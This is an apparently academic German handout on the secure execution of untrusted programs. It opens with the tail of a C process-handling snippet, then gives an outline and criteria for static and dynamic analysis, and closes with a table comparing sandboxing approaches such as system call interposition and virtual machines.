     exit(EXIT_FAILURE);
 }
```

```
     if (!WIFEXITED(status)) {
         fprintf(stderr,
              "At least one of our processes did not exit
properly\n");
         exit(EXIT_FAILURE);
     }
    }
   // munmap, shmdt and close will be done automatically
   exit(EXIT_SUCCESS);
}
```

Handout: Sichere Ausführung nicht vertrauenswürdiger Programme

Material verfügbar unter: http://myhpi.de/~nicolai/

Gliederung

1. Statische vs. dynamische Analyse
2. Erfolgskriterien für statische Quellcodeanalyse
3. Übertragung auf C/C++
4. Erfolgskriterien für dynamische Analyse
5. Klassifikation/Evaluation dynamischer Ansätze
6. Sichere faire Ausführung für RealTimeBattle
7. Sicheres und faires Benchmark in Asparagus
8. DCL
9. Übungsbetrieb BSA

Kriterien für den Erfolg statischer Analyse

1. Verfügbarkeit des Quellcodes
2. Unterstützung der Programmiersprache
3. Unterstützung von „echten“ Programmen (COTS)
4. Bewältigung der auftretenden Komplexität
5. Schutz vor bösartiger Speichermanipulation
6. Garantie für die Prozessumgebung

Kriterien für den Erfolg dynamischer Analyse

1. Änderbarkeit/Verfügbarkeit des Binärcodes
2. Unterstützung der Plattform/Hardwarearchitektur
3. Unterstützung von „echten" Programmen (COTS)
4. Übersicht über den Betriebssystemzustand
5. Schutz vor bösartiger Speichermanipulation
6. Garantie für die Prozessumgebung

Auswertung dynamischer Ansätze

Methode/ Kriterium	***1***	***2***	***3***	***4***	***5***	***6***
Quellcode-Substitution	notwendig	nicht relevant	erfüllt	nicht erfüllt	erfüllt	nicht erfüllt
Binärcode-Modifikation	nicht relevant	notwendig	erfüllt	kaum erfüllt	erfüllt	nicht erfüllt
Maschinencode-Interpreter	nicht relevant	notwendig	erfüllt	schwer zu erfüllen	erfüllt	nicht erfüllt
IDS-Systeme	nicht relevant	nicht relevant	nicht relevant	nicht erfüllt	nicht erfüllt	nicht erfüllt
Härtungs-Mechanismen	nicht relevant	notwendig	erfüllt	nicht erfüllt	erfüllt	nicht erfüllt
Virtuelle Maschinen	nicht relevant	nicht relevant	teilweise erfüllt	kann erfüllt sein	erfüllt	nicht erfüllt
System Call-Interposition	nicht notwendig	notwendig	erfüllt	erfüllt	nicht notwendig	erfüllt
herkömmliche Betriebssystemmittel	nicht notwendig	notwendig	erfüllt	erfüllt	nicht notwendig	teilweise erfüllt
DTE/MACL-Systeme	nicht notwendig	notwendig	erfüllt	erfüllt	nicht notwendig	erfüllt

ISBN 3-937786-73-2
ISSN 1613-5652